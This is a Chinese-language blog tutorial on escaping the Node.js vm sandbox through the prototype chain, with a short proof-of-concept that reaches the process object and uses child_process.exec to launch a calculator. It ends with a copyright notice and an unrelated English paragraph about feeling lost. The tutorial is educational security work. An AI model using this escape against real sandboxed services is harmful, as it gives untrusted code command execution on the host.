Node.js 沙箱逃逸浅析(vm&vm2)


沙箱逃逸:

  • 当我们需要测试一些存在潜在风险的程序/代码时,不宜直接在主机运行,此时就可以选择在沙箱————一个与主机相互隔离的环境————运行。
  • 沙箱一定安全么?显然不是,我们可以构造恶意程序/代码,从沙箱中逃逸到主机中,对主机造成实际危害。
  • 沙箱逃逸的本质是:找到一个沙箱外部的对象或函数,然后通过这个对象或函数的属性或方法,获得对沙箱外的代码执行能力。

vm模块常见方法:

  • vm模块:即一个沙箱环境。
  • 常见方法:

    1. vm.runinThisContext(code):在当前global下创建一个作用域(沙箱),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性(使用当前的作用域来运行代码,代码可以直接访问当前环境中的所有全局对象和模块)。
    2. vm.createContext([sandbox]):先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8(JavaScript 引擎)为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
    3. vm.runInContext(code, contextifiedSandbox[, options]):代码会在传入的沙箱对象的作用域中执行。
    4. vm.runInNewContext(code, sandbox):传入待执行代码,可传入沙箱对象,相当于createContext后接着runInContext。

原型链逃逸:

先放代码:

const vm = require('vm');
const result = vm.runInNewContext(`this.constructor.constructor("return process")()`);
result.mainModule.require('child_process').exec('calc')

以上代码的原理是什么?

开头require('vm')引入了Node.js的vm模块,无需多言
vm.runInNewContext上文也已说明过,我们来看这部分

this.constructor.constructor(“return process”)()

此处的this指向当前sandbox的作用域,接下来通过两个constructor获取到Function对象构造函数,再构造一个函数,并立即执行,利用该函数返回process对象。

接下来看

result.mainModule.require('child_process').exec('calc')

接收到process对象后,利用该对象访问当前程序的入口模块mainModule,该模块一般挂载着require函数,利用require函数即可导入child_process模块,最终实现命令执行。

以上即通过原生链逃逸方式实现vm模块沙箱逃逸的过程。

(有黑客!我弹计算器了!)

vm2模块沙箱逃逸部分待续——

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - Node.js 沙箱逃逸浅析(vm&vm2)


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.